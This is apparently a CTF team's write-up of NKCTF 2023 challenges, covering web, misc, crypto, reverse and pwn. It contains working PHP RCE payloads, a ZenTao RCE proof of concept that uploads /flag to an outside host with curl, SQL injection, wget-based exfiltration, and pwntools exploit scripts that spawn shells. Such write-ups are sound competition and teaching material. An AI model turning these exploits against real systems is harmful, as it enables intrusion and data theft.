EDI
JOIN US ▶▶▶
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn misc方向的师傅)有意向的师傅请联系邮箱[email protected]、[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
Web
hard_php
easy_php
baby_php
Misc
baby_rsa
ezshellcode
a_story_of_a_pwner
ez_stack
baby_rop
9961code
baby_heap
only_read
ByteDance
SignIn
两个人的夜晚
Bridge
旅程的开始
The other Bridge
Ferris_Wheel
狂飙
1
hard_php
自增,究极缩减,再用全角替换半角
$_=(0/0)._;$_=$_[''=='$'];$_++;$__=$_++;$__=$_++.$__;$_++;$_++;$_='_'.$__.($_++).$_;$$_[__]($$_[_]);
看了一下phpinfo发现还ban函数,shell_exec绕一下就行
最终payload:
NKCTF=%24_%3D(%EF%BC%90%2F%EF%BC%90)._%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24__%3D%24_%2B%2B%3B%24__%3D%24_%2B%2B.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D'_'.%24__.(%24_%2B%2B).%24_%3B%24%24_%5B__%5D(%24%24_%5B_%5D)%3B&__=shell_exec&_=echo%20%60cat%20%2Fflag%60%3E%2Fvar%2Fwww%2Fhtml%2F3.txt
2
easy_php
套娃题,太多了所以只放payload
get请求:
a=s1502113478a&b=s1885207154a&e=114514.11&NS[CTF.go=a
post请求:
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");
3
baby_php
<?php
class Welcome{
public $name;
public $arg;
}
function waf($string){
if(preg_match('/f|l|a|g|*|?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
}
class Hell0{
public $func;
}
$ha=new Happy();
$ha->shell="urldecode";
$ha->cmd='system($_POST[1]);';
$he=new Hell0();
$he->func=$ha;
$w=new Welcome();
$w->name="welcome_to_NKCTF";
$w->arg=$he;
echo urlencode(serialize($w));
4
Webpagetest
直接百度搜索webpagetest,是一个开源项目。然后搜索相关漏洞找到
https://xz.aliyun.com/t/11798#toc-1
参考上述文章直接RCE
5
easy_pms
访问靶机,是禅道系统。通过首页html源码的js文件可知,是v18.0.beta1版本
搜索找到该版本相关漏洞poc:
https://github.com/webraybtl/zentaopms_poc
直接利用,即可得flag
# -*- coding: UTF-8 -*-
# !/usr/bin/python
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
# url="http://10.211.55.3:8008"
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}
headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = 'SCM=Subversion&client=`curl -F "filename=@/flag" http://9p9p2b.ceye.io`'
# curl -F "filename=@/home/test/file.tar.gz" http://9p9p2b.ceye.io
s=requests.session()
try:
req1 = s.get(url1,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,timeout=5,verify=False,headers=headers2)
print(req4.text)
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://d8ce6925-25ed-4fd2-ad80-241401adfff8.node.yuzhian.com.cn:8000/"))
6
easy_cms
通过访问路径/dede可知是织梦系统,直接admin/admin登陆即可进入后台
参考:https://xz.aliyun.com/t/8056#toc-4 进行RCE
模板写入过程中有一些过滤,通过var_dump(scandir(’/’));来读取flag文件名
最后用var_dump(readfile(’/f1Aggg’));来读取flag
7
xiaopi
参考B站视频:https://www.bilibili.com/video/BV1Yc411j7TP
通过请求头加X-Requested-With: XMLHttpRequest来跳过后台目录前缀检测 然后就是按照视频中的注入后,添加计划任务getflag
注入,修改密码为admin:
POST /service/app/account.php HTTP/1.1
Host: 88ec9874-92ff-4388-be98-d25617ee0278.node2.yuzhian.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=357da909bf07d9414ed4ed0f
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
type=login&username=admin';UPDATE ADMINS set PASSWORD = '67f43efc5701784db1504e4993d7e393';-- &password=admin&verifycode=mzxk
登陆,使PHPSESSID具备后台权限:
POST /service/app/account.php HTTP/1.1
Host: 88ec9874-92ff-4388-be98-d25617ee0278.node2.yuzhian.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=59896924bf07d94164875dec
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
type=login&username=admin&password=admin&verifycode=zjm6
添加读flag的计划任务:
POST /service/app/tasks.php?type=save_shell HTTP/1.1
Host: 88ec9874-92ff-4388-be98-d25617ee0278.node2.yuzhian.com.cn
Content-Length: 111
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.9.57.100:9080
Referer: http://10.9.57.100:9080/530BC3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=59896924bf07d94164875dec
Connection: close
task_id=&title=test6&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=wget x.x.x.x:4041/`cat /flag|base64`
执行上述计划任务
POST /service/app/tasks.php?type=exec_task HTTP/1.1
Host: 88ec9874-92ff-4388-be98-d25617ee0278.node2.yuzhian.com.cn
Content-Length: 5
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.9.57.100:9080
Referer: http://10.9.57.100:9080/530BC3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=59896924bf07d94164875dec
Connection: close
tid=8
NKCTF{23076c1f-15a3-4c80-9436-d5645845d7fd}
1
baby_music
不用管wav
27分隔开的10和11,分别替换为1和0
二进制转文件 得到一个zip
然后bkcrack明文攻击,得到flag
2
easy_bmp
脚本爆破宽度和高度,大概一个是1404一个275,密码:BMP_Height_width_easy
flag.bmp宽高都是360,扫码拿flag
脚本参考
https://blog.csdn.net/zip471642048/article/details/121998766
3
blue
附件是vmdk,不用挂载,直接7-zip解压,去桌面找flag文件
4
THMaster
查了一圈发现是国外的娱乐病毒
0x00000FF/rensenware_force: rensenWare forcing tool (github.com)
下载作弊器改一下得分,出现一个flag用户的replay存档
去存档文件里面找flag
NKCTF{U_R_re411y_g00d_At_p14ying_t0h0u}
5
三体
脚本
from PIL import Image
def decode(im):
width,height = im.size
lst = []
for y in range(height):
for x in range(width):
red,green,blue = im.getpixel((x,y))
if(blue | green | red) == 0:
break
index = (green<<8) + blue
lst.append(chr(index))
return ''.join(lst)
if __name__=='__main__':
all_text = decode(Image.open("out.bmp","r"))
with open ("decode.text","w",encoding = "utf-8") as f:
f.write(all_text)
6
easy_word
看注释得到提示,跑密码
密码:h4evOF90
去除密码,解压word文件,找到一个图片
key: Welcome_to_NKCTF
图片用cloacked-pixel解密一下得到flag
7
first spam of rabbit year
https://spammimic.com/decode.shtml
spam解码,得到佛曰+社会主义核心价值观编码
社会主义核心价值观编码解码后没啥作用。。。只提醒rabbit和移动了密文
找到佛曰解码网站将“佛曰”改为“佛又曰”解码
提示47&13(为rot47和rot13
rot47密文(去除末尾tip
发现0宽
8
easy_rgb
key
180张图片中存在一些不完整的字符,给它拼接完整。我们可以使用 montage+gaps工具。
montage *.png -tile 30x6 -geometry +0+0 flag_tmp.png
gaps --image flag_tmp.png --size 125 --save
#说明一下参数 30x6和125
#-tile:设置每行每列的原始图片数量,30x6 表示拼图的宽30张 高6张,这个要结合gaps多尝试几种不同组合才能得到正确的尺寸。
#--size: 这里每张图片为125像素
rgb
密码:NKCTF2023
看到5b04能联想到熟悉的:504B0304。再观察三个文件得到规律:依次读取三个文件的一个字符,循环读取得到新的zip文件。如:r:5 g:0 b:4 r:b g:0 b:3…
按rgb顺序提取字符脚本如下:
with open("r.txt") as r:
red=r.read()
with open("g.txt") as g:
green=g.read()
with open("b.txt") as b:
blue = b.read()
str=""
for i in range(0,148):
str+=red[i]
str+=green[i]
str+=blue[i]
print(str)
最后两位手动提下(不提也没事
AES
IBTyf9pgyR9pCERLR5NuOpiONSG1VZptmvUIgoQ/RTEpTZPVTW2a779plBFIvcN+
AES-12
密钥为key:NKCTF2023
AES-12 —> AES-128
注意这些模式的选择,可自己加密观察+尝试。密钥根据以往比赛的经验一般出题人会设置 NKCTF NKCTF FLAG flag…或者根据前面得到的压缩包密码提示的key。
NKCTF{603fcdfc-652b-40e4-90cf-f27c2edc2d9f}
1
baby_rsa
code
e=65537
n = 114101396033690088275999670914803472451228154227614098210572767821433470213124900655723605426526569384342101959232900145334500170690603208327913698128445002527020347955300595384752458477749198178791196660625870659540794807018881780680683388008090434114437818447523471527878292741702348454486217652394664664641
N = 1159977299277711167607914893426674454199208605107323826176606074354449015203832606569051328721360397610665453513201486235549374869954501563523028914285006850687275382822302821825953121223999268058107278346499657597050468069712686559045712946025472616754027552629008516489090871415609098178522863027127254404804829735621706042266140637592206366042515190385496909533329383212542170504864473944657824502882014292528444918055958758310544435120502872883857209880723535754528096143707324179005292445100655695427777453144657819474805882956064292780031599790769618615908501966912635232746588639924772530057835864082951499028
dP = 33967356791272818610254738927769774016289590226681637441101504040121743937150259930712897925893431093938385216227201268238374281750681609796883676743311872905933219290266120756315613501614208779063819499785817502677885240656957036398336462000771885589364702443157120609506628895933862241269347200444629283263
# t=e*dP-1
# for k in range(1,e):
# if t%k==0:
# P=(t//k)+1
# if N%P==0:
# print(P)
P=37269067352457630263351774206178494913957088859822110344334922741582406663357663275001777826744534556652993452577088773275825539553907027527722045884489297259984687894496505265384077983882580247333972954704644517469999916574893996324149548980338301147983367163067556434434982470623587914250041142380667816331
Q=N//P
PR.<x>=Zmod(n)[]
f=(x-P)*(x-Q)
m=f.small_roots(X=2^300)
print(m)
m=152099310694956022622926857538598513541723670773227126074246760446874272165452073476477
print(long_to_bytes(m))
1
ez_baby_apk
主方法运行逻辑分析:
在47行按下按钮后,获取用户输入的flag,给DES.encrypt加密,然后跟r4对比,相同则输出flag正确。
其中DES.encrypt函数其实是AES加密
key是主函数36行的vector2,将“reversehavemagic”传给confusion
confusion其实是MD5摘要计算函数
所以key就是”reversehavemagic”的md5值
iv则是26行中,将“reversecarefully”中的e替换成3,也就是r3v3rs3car3fully
接着需要找r4,也就是密文。jadx-gui反编译没有,直接看smali可以找到
NKCTF{nI_k }
1
ezshellcode
填充nop抵消随机滑行到shellcode
#!usr/bin/env python
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:
gdbOpen = 1
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
else:
gdbOpen = 0
ip = 'node.yuzhian.com.cn'
port = 38867
p = remote(ip, port)
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
def debug(info="b main"):
if gdbOpen == 1:
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
debug("b *0x00000000004012F1")
shellcode = p8(0x90) * 104 + asm(shellcraft.sh())
p.sendafter("in 5 min!n", shellcode)
p.interactive()
2
a_story_of_a_pwner
栈迁移然后刚好够弹一个参数执行system
#!usr/bin/env python
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:
gdbOpen = 1
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF("./libc.so.6")
p = process('./pwn')
else:
gdbOpen = 0
ip = 'node2.yuzhian.com.cn'
port = 33627
libc = ELF("./libc.so.6")
p = remote(ip, port)
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
def debug(info="b main"):
if gdbOpen == 1:
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
def choose(choice):
p.sendlineafter(b"> n", str(choice).encode('ascii'))
pop_rdi = 0x0000000000401573
leave_ret = 0x000000000040139E
debug("b *0x000000000040139F")
choose(4)
p.recvuntil(b'0x')
leak = int(p.recv(12), 16) - 0x84420
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
choose(1)
p.sendafter(b'comment?n', p64(binsh))
choose(2)
p.sendafter(b'corment?n', p64(pop_rdi))
choose(3)
p.sendafter(b'corMenT?n', p64(sys))
choose(4)
payload = b'a'*0xa + p64(0x0000000000405098) + p64(leave_ret)
p.sendafter(b'heart...n', payload)
p.interactive()
3
ez_stack
程序内直接就能找到syscall的gadget,使用其即可,注意的地方就是csu调用的时候是个指针,所以要把这个地址写入bss上才能正常使用。
#!usr/bin/env python
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./ez_stack')
DEBUG = 0
if DEBUG:
gdbOpen = 1
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./ez_stack')
else:
gdbOpen = 0
ip = 'node2.yuzhian.com.cn'
port = 35211
p = remote(ip, port)
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
def debug(info="b main"):
if gdbOpen == 1:
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
pop_rdi = 0x0000000000401283
pop_rsi = 0x0000000000401281 # pop rsi ; pop r15 ; ret
syscall = 0x000000000040114e
csu1 = 0x000000000040127A
csu2 = 0x0000000000401260
debug("b *0x00000000004011F6")
payload = b'a'*0x18 + p64(pop_rsi) + p64(0x4040B0)*2 + p64(syscall)
payload += p64(csu1) + p64(0) + p64(1) + p64(0x4040B0) + p64(0)*2 + p64(0x4040B8) + p64(csu2)
p.sendafter("NKCTF!n", payload)
sleep(1)
payload = b'/bin/shx00' + p64(syscall) + b'a'*0x2b
p.send(payload)
p.interactive()
4
baby_rop
走两遍程序,两次利用格式化字符串,一次泄露canary,一次泄露libc地址,可以在栈上rop,因为填满buf正好使得rbp地方清一个0,刚好两个leave;ret栈迁移,在前面填满ret,不会有随机的问题。
#!usr/bin/env python
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./nkctf_message_boards')
DEBUG = 0
if DEBUG:
gdbOpen = 1
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./nkctf_message_boards')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
gdbOpen = 0
ip = 'node2.yuzhian.com.cn'
port = 34966
p = remote(ip, port)
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug(info="b main"):
if gdbOpen == 1:
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
debug("b *0x0000000000401340")
ret = 0x000000000040101a
pop_rdi = 0x0000000000401413
main = 0x00000000004010F0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
format = b"%41$pn"
p.sendafter(b"name: ", format)
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
log.info(hex(canary))
payload = p64(ret)*30 + p64(main) + p64(canary)
p.sendafter(b"the NKCTF: n", payload)
format = b"%22$pn"
p.sendafter(b"name: ", format)
p.recvuntil(b'0x')
leak = int(p.recv(12), 16) - 0x1ed6a0
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
log.info(hex(leak))
payload = p64(ret)*28 + p64(pop_rdi) + p64(binsh) + p64(sys) + p64(canary)
p.sendafter(b"the NKCTF: n", payload)
p.interactive()
5
9961code
#coding:utf-8
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./pwn'
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
b *$rebase(0x139b)
'''
if len(sys.argv)==1 :
io=process(elfelf)
gdb_open=1
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
elif sys.argv[1]=='2' :
io=process(elfelf)
gdb_open=0
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
io=remote('node2.yuzhian.com.cn',32697)
gdb_open=0
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
shell='''
shl edi,12
mov ax,10
call:
xor dx,0x9966
syscall
xchg edi,esi
xor eax,eax
mov edi,eax
jmp call
'''
pay=asm(shell)
gdb_attach(io,gdb_text)
pause()
io.send(pay)
sleep(1)
shell='''
mov rsp,0x9961c00
'''
pay='a'*0xe+asm(shell)
pay+='x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fxb0x3bx99x0fx05'
io.send(pay)
#NKCTF{4b4e9ac2-8163-4e58-a14b-02c1cb7f7654}
# libc_base=u64(io.recvuntil('x7f')[-6:]+'x00x00')-libc.sym['__malloc_hook']-88-0x10
# libc.address=libc_base
# bin_sh_addr=libc.search('/bin/shx00').next()
# system_addr=libc.sym['system']
# free_hook_addr=libc.sym['__free_hook']
# success('libc_base:'+hex(libc_base))
# success('heap_base:'+hex(heap_base))
io.interactive()
6
baby_heap
offbyone制造出overlap即可,然后2.32指针进行异或,泄露处理一下即可。
#!usr/bin/env python
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:
gdbOpen = 1
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/ld-2.32.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./')
else:
gdbOpen = 0
ip = 'node2.yuzhian.com.cn'
port = 30509
libc = ELF("./libc-2.32.so")
p = remote(ip, port)
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
def debug(info="b main"):
if gdbOpen == 1:
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
def choose(choice):
p.sendlineafter(b"Your choice: ", str(choice).encode('ascii'))
def add(idx, size):
choose(1)
p.recvuntil(b"index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"Size: ")
p.sendline(str(size).encode('ascii'))
def edit(idx, content):
choose(3)
p.recvuntil(b"index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"content: ")
p.send(content)
def show(idx):
choose(4)
p.recvuntil(b"index: ")
p.sendline(str(idx).encode('ascii'))
def free(idx):
choose(2)
p.recvuntil(b"index: ")
p.sendline(str(idx).encode('ascii'))
for i in range(8):
add(i, 0x100)
add(8, 0x100)
for i in range(8):
free(i)
for i in range(7):
add(i, 0x100)
add(7, 0xf0)
edit(7, b'n')
show(7)
leak = u64(p.recv(6).ljust(8, b'x00')) - 0x1e3d0a
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
free_hook = leak + libc.sym['__free_hook']
log.info("free_hook==>0x%x" %free_hook)
show(6)
key = u64(p.recv(5).ljust(8, b'x00'))
log.info("key==>0x%x" %key)
add(9, 0x78)
add(10, 0x60)
add(11, 0x60)
add(12, 0x60)
edit(9, b'a'*0x78 + b'xe1')
free(12)
free(11)
free(10)
add(10, 0xd0)
edit(10, b'/bin/shx00' + b'a'*0x60 + p64(0x71) + p64(free_hook^key) + b'n')
add(13, 0x60)
add(14, 0x60)
edit(14, p64(sys) + b'n')
free(10)
debug()
p.interactive()
7
only_read
修改read的got表到其一字节地址内的syscall,然后借此使用write出0x3b内容调整rax最终进行getshell,不过似乎可以直接继续调用read读0x3b,不过通了懒得调整了。
#!usr/bin/env python
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:
gdbOpen = 1
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
else:
gdbOpen = 0
ip = 'node2.yuzhian.com.cn'
port = 39981
p = remote(ip, port)
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug(info="b main"):
if gdbOpen == 1:
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
debug("b *0x00000000004013E1")
p.send(b'V2VsY29tZSB0byBOS0NURiE=')
sleep(1)
p.send(b'dGVsbCB5b3UgYSBzZWNyZXQ6')
sleep(1)
p.send(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45')
sleep(1)
p.send(b'Y2FuIHlvdSBmaW5kIG1lPw==')
read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi = 0x0000000000401683
pop_rsi = 0x0000000000401681
csu1 = 0x000000000040167A
csu2 = 0x0000000000401660
payload = b'a'*0x38 + p64(pop_rsi) + p64(0x404100)*2 + p64(read_plt)
payload += p64(pop_rsi) + p64(read_got)*2 + p64(read_plt)
payload += p64(csu1) + p64(0) + p64(1) + p64(1) + p64(read_got) + p64(0x3b) + p64(read_got) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(0x404100) + p64(0) + p64(0) + p64(read_got) + p64(csu2)
p.send(payload)
sleep(2)
p.sendline(b'/bin/shx00')
sleep(5)
p.send(p8(0xd0))
p.interactive()
8
ByteDance
原题,大致思路是利用malloc_consolidate将fastbin整合进unsortedbin,这样才能利用offbynull,其中的trick在于scanf接收过长字符会临时申请一个largechunk。
#!usr/bin/env python
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux', log_level = 'debug')
elf = ELF('./pwn02')
DEBUG = 0
if DEBUG:
gdbOpen = 1
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
else:
gdbOpen = 0
ip = 'node2.yuzhian.com.cn'
port = 39089
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
p = remote(ip, port)
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
def debug(info="b main"):
if gdbOpen == 1:
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
def choose(choice):
p.sendlineafter(b"Choice:", str(choice).encode('ascii'))
def add(size, content):
choose(1)
p.recvuntil(b"size:")
p.sendline(str(size).encode('ascii'))
p.recvuntil(b"content:")
p.send(content)
def show(idx):
choose(2)
p.recvuntil(b"index:")
p.sendline(str(idx).encode('ascii'))
def free(idx):
choose(3)
p.recvuntil(b"index: ")
p.sendline(str(idx).encode('ascii'))
#prepare 0x140 size unsorted bin
add(0x37,b'x00'*0x37)#idx 0 0x40
add(0x37,b'x01'*0x37)#idx 1 0x80
add(0x37,b'x02'*0x37)#idx 2 0xc0
add(0x37,b'x03'*0x37)#idx 3 0x100
add(0x37,b'x00'*0x37)#idx 4 0x140
#prepare a chunk
add(0x37,b'x00'*0x37)#idx 5
#prepare chunks between idx 5 and top_chunk.
add(0x37,b'x06'*0x37)#idx 6
add(0x37,b'x07'*0x37)#idx 7
add(0x37,b'x06'*0x37)#idx 8
add(0x37,b'x07'*0x37)#idx 9
add(0x37,b'x06'*0x37)#idx 10
#put chunk in fastbin
for i in range(5):
free(i)
p.sendlineafter(b"Choice:", b'1'*0x500)
add(0x28,b'x00'*0x28)
#madd some chunk.
add(0x37,b'x01'*0x37) #idx 1 0x030
add(0x17,b'x02'*0x17) #idx 2 0x070
add(0x37,b'x03'*0x37) #idx 3 0x090
add(0x37,b'x00'*0x37) #idx 4 0x0d0
add(0x17,b'x00'*0x17) #idx 11 0x110
#put the chunk in fastbin to make overlapped chunk.
